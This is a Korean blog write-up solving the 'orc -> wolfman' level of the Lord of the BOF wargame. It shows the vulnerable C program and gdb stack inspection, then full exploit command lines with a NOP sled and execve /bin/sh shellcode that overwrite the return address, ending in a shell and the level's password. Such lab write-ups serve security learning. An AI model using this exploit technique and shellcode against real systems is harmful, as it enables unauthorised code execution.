[LOB] - orc -> wolfman 풀이
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
이번문제와 전 문제를 비교하면 memset() 함수를 이용해 buffer에 있는 내용 40bytes 를 0으로 초기화 하는 것이 생겼다. 이전 문제에서 필자는 argv[2] 인자를 이용해서 문제를 풀었기 때문에 memset() 함수로 인해 문제 푸는데는 지장이 없다.
공격 시나리오는 다음과 같다.
1. argv[2]의 주소를 찾는다.
2. argv[2]에 NOP와 Shellcode를 삽입한다.
3. RET에 argv[2]의 주소를 overwrite 한다.
4. 에러가 날 경우 core 파일을 gdb로 분석하여 올바른 argv[2] 주소를 찾아 다시 공격 시도를 한다.
wolfman 바이너리를 분석하기 위해 잠시 copy 파일을 만든 뒤 gdb로 분석한다.
[orc@localhost orc]$ gdb -q wolfman_copy
(gdb)
argv[2]의 주소를 찾기 위해 argv[1]의 주소를 찾아서 그 주소의 주변 값을 보면서 argv[2]의 주소를 추측한다.
우선 strcpy에서 main+184 주소가 argv[1]의 주소를 PUSH 하는 명령어 이기 때문에 main+185 에서 breakpoint를 걸어준다.
(gdb) disas main
...
0x80485b3 <main+179>: add $0x4,%eax
0x80485b6 <main+182>: mov (%eax),%edx
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add $0x8,%esp
0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax
0x80485c8 <main+200>: push %eax
...
(gdb) b *main+185
Breakpoint 1 at 0x80485b9
(gdb)
r 명령어에서 argv[1] 값은 A가 47에서 \xbf 값과 argv[2]에서는 BBBB 값을 준 뒤 실행을 해보자.
(gdb) r `python -c 'print "A"*47+"\xbf"'` BBBB
Starting program: /home/orc/wolfman_copy `python -c 'print "A"*47+"\xbf"'` BBBB
Breakpoint 1, 0x80485b9 in main ()
스택을 확인하기 위해 x/wx $esp 명령어로 main+185로 인해 스택에 넣어진 argv[1]의 주소를 확인한다.
0xbffffdd9 라는 주소가 나오는데, x/50wx 0xbffffdd9 라는 명령어로 0xbffffdd9에서 4bytes 만큼 50개를 출력하라고 입력하면 아래와 같이 값들이 출력 된 것을 볼 수 있다. B의 hex 값은 42 이므로 argv[2] 주소는 0xbffffe0a 인 것을 알 수 있다.
(gdb) x/wx $esp
0xbffffc48: 0xbffffdd9
(gdb) x/50wx 0xbffffdd9
0xbffffdd9: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffde9: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffdf9: 0x41414141 0x41414141 0x41414141 0xbf414141
0xbffffe09: 0x42424200 0x00000042 0x00000000 0x00000000
0xbffffe19: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe29: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe39: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe49: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe59: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe69: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe79: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe89: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe99: 0x00000000 0x00000000
argv[2] 주소를 찾았으니, 위에서 말했던 공격 시나리오대로 공격을 진행해 보겠다. 역시나 에러가 출력이 되었다. 올바른 argv[2]의 주소를 찾기 위해 core 파일을 gdb로 까보자.
[orc@localhost orc]$ ./wolfman_copy `python -c 'print "A"*44+"\x0a\xfe\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[orc@localhost orc]$
x/150wx $esp 명령어로 스택에 4bytes 만큼 150개를 출력하는 명령어를 입력하여 argv[2]의 주소를 찾아본다.
0xbffffd88 부터 \x90 인 NOP Sled가 입력 된 것을 볼 수 있다. 안전하게 필자는 0xbffffda8 주소를 argv[2] 주소로 사용하여 공격을 진행해 보겠다.
[orc@localhost orc]$ gdb -c core -q
Core was generated by `./wolfman_copy AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA '.
Program terminated with signal 11, Segmentation fault.
#0 0x40030942 in ?? ()
(gdb) x/100wx $esp
...
0xbffffd58: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd68: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd78: 0x41414141 0x41414141 0x00414141 0x00bffffe
0xbffffd88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffda8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffdb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffdc8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffdd8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffde8: 0x90909090 0x6850c031 0x68732f2f 0x69622f68
0xbffffdf8: 0x50e3896e 0x89e18953 0xcd0bb0c2 0x00000080
...
RET 주소를 수정하니 아래와 같이 shell을 획득한 것을 볼 수 있다.
[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\xa8\xfd\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
wolfman
bash$ my-pass
euid = 505
love eyuna
bash$
'🚩CTF' 카테고리의 다른 글
[LOB] - darkelf -> orge 풀이 (0) | 2019.10.05 |
---|---|
[LOB] - wolfman -> darkelf 풀이 (0) | 2019.10.04 |
[LOB] - goblin -> orc 풀이 (0) | 2019.10.04 |
[LOB] - cobolt -> goblin 풀이 (0) | 2019.10.04 |
[LOB] - gremlin -> cobolt 풀이 (0) | 2019.10.04 |
댓글
이 글 공유하기
다른 글
-
[LOB] - darkelf -> orge 풀이
[LOB] - darkelf -> orge 풀이
2019.10.05 -
[LOB] - wolfman -> darkelf 풀이
[LOB] - wolfman -> darkelf 풀이
2019.10.04 -
[LOB] - goblin -> orc 풀이
[LOB] - goblin -> orc 풀이
2019.10.04 -
[LOB] - cobolt -> goblin 풀이
[LOB] - cobolt -> goblin 풀이
2019.10.04